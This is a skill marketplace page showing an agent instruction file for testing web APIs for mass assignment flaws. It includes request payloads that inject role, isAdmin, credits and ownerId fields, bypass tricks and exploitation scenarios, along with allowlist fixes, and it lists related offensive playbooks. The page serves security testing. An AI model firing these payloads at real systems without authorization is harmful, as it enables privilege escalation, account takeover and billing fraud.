本文へ移動
cccskills
無料GitHub で公開

mass-assignment

Use when testing APIs and web frameworks for mass assignment vulnerabilities where user-controlled request body fields are bound directly to model attributes without a field allowlist. Trigger on: ORM update/create endpoints, REST APIs accepting JSON body, Rails strong parameters, Django model forms, Laravel fillable/guarded, Node.js Mongoose/Sequelize, PUT/PATCH requests, registration endpoints, profile update endpoints, GraphQL mutations. Detects privilege escalation via role/admin/isAdmin fields, plan upgrades via subscription fields, and horizontal access via ownerId/userId injection.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md6.0 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Mass Assignment

What Is Broken and Why

Frameworks that automatically bind request body parameters to model attributes (Rails, Laravel, Django, Mongoose, Sequelize) allow attackers to set fields that were never meant to be user-modifiable. A profile update endpoint intended to accept {name, email} will also accept {role: "admin", plan: "enterprise", ownerId: 999} if the server doesn't explicitly allowlist accepted fields.

Key Signals

  • PUT/PATCH/POST endpoints that update model records
  • JSON bodies passed to ORM update(), create(), save(), or assign() calls
  • Registration or profile endpoints in Rails, Laravel, Django, Express apps
  • API responses that reveal field names not expected in requests (leak model schema)
  • GraphQL mutations with input types
  • Endpoints where adding extra fields returns 200 (not 400 Bad Request)

Methodology

  1. Identify PUT/PATCH endpoints for user profile, settings, or resource updates.
  2. Intercept a normal request; examine which fields are accepted.
  3. Inspect API responses and other endpoints to discover undocumented field names (role, admin, isAdmin, verified, plan, credits, ownerId, orgId).
  4. Add extra fields to the request body — observe if they're accepted silently.
  5. Attempt privilege escalation: inject "role": "admin" or "isAdmin": true.
  6. Attempt horizontal access: inject "userId" or "ownerId" pointing to another user.
  7. For registration endpoints: try setting "emailVerified": true, "credits": 9999.
  8. Fuzz with common sensitive field names from framework conventions.

Payloads & Tools

// Profile update — attempt privilege escalation
PATCH /api/users/me
{"name": "test", "email": "test@example.com", "role": "admin", "isAdmin": true}

// Registration — attempt auto-verification and credit injection
POST /api/register
{"email": "x@x.com", "password": "pass", "emailVerified": true, "credits": 9999,
 "plan": "enterprise", "trialExpires": "2099-01-01"}

// Resource update — attempt ownership change (IDOR via mass assignment)
PATCH /api/posts/42
{"title": "new", "ownerId": 1, "userId": 1}

// Nested object injection (common in JSON APIs)
PUT /api/profile
{"name": "x", "address": {"city": "x"}, "billingPlan": {"tier": "enterprise"}}

// GraphQL mutation with extra input fields
mutation {
  updateUser(input: {name: "x", role: "admin", isAdmin: true}) { id role }
}

Common sensitive field names to try:

role, roles, isAdmin, admin, superuser, verified, emailVerified,
plan, tier, subscription, credits, balance, ownerId, userId, orgId,
organizationId, groupId, permissions, scopes, approved, active,
banned, locked, passwordResetRequired, mfaEnabled, apiKey, secret

Bypass Techniques

  • Nested objects: Try {"billing": {"plan": "enterprise"}} if flat fields are blocked.
  • Array assignment: {"roles": ["admin", "user"]} for role arrays.
  • Underscore variants: _role, __role, role_id for alternate field names.
  • camelCase vs snake_case: Try both isAdmin and is_admin.
  • Partial allowlist bypass: Some frameworks check top-level but not nested fields.
  • GraphQL alias injection: Extra fields in input type if server doesn't validate schema strictly.

Exploitation Scenarios

Privilege escalation via role injection: Setup → Rails app uses User.update(params[:user]) without strong parameters. Trigger → Send PATCH /profile with {"name":"x","role":"admin"}. Impact → Attacker account elevated to admin; full application access.

Free premium tier via registration: Setup → Laravel registration with unguarded User model. Trigger → POST register with {"email":"x","password":"x","plan":"premium","credits":10000}. Impact → Free premium access and inflated credits.

Horizontal access via ownerId change: Setup → Node/Mongoose Document.findByIdAndUpdate(id, req.body). Trigger → PATCH document with {"title":"x","ownerId":"VICTIM_ID"}. Impact → Attacker's document transferred to victim — or attacker claims victim's document.

False Positives

  • Extra fields returned as 400 with validation error — server validates allowed fields.
  • Fields accepted in request body but ignored (no change in response/DB) — check DB directly.

Fix Patterns

// Node.js — explicit allowlist with lodash pick
const allowed = ['name', 'email', 'avatar'];
User.findByIdAndUpdate(id, pick(req.body, allowed));

// Express/Mongoose — never pass req.body directly to ORM
// Bad:  User.updateOne({ _id }, req.body)
// Good: User.updateOne({ _id }, { name: req.body.name, email: req.body.email })
# Django — use form or serializer to allowlist fields
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        fields = ['name', 'email']  # never use fields = '__all__'

Related Skills

Mass assignment is a specific form of [[authz-bypass]] where the bypass is structural rather than a missing check. When the injected field is an object ID pointing to another user's data, it becomes [[bola-idor]]. Discovering which hidden fields exist often requires [[web-fingerprinting]] of the framework (Rails, Laravel, Django leave recognizable patterns).

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

ShulkwiSEC のスキルをすべて見る

このスキルの問題を報告する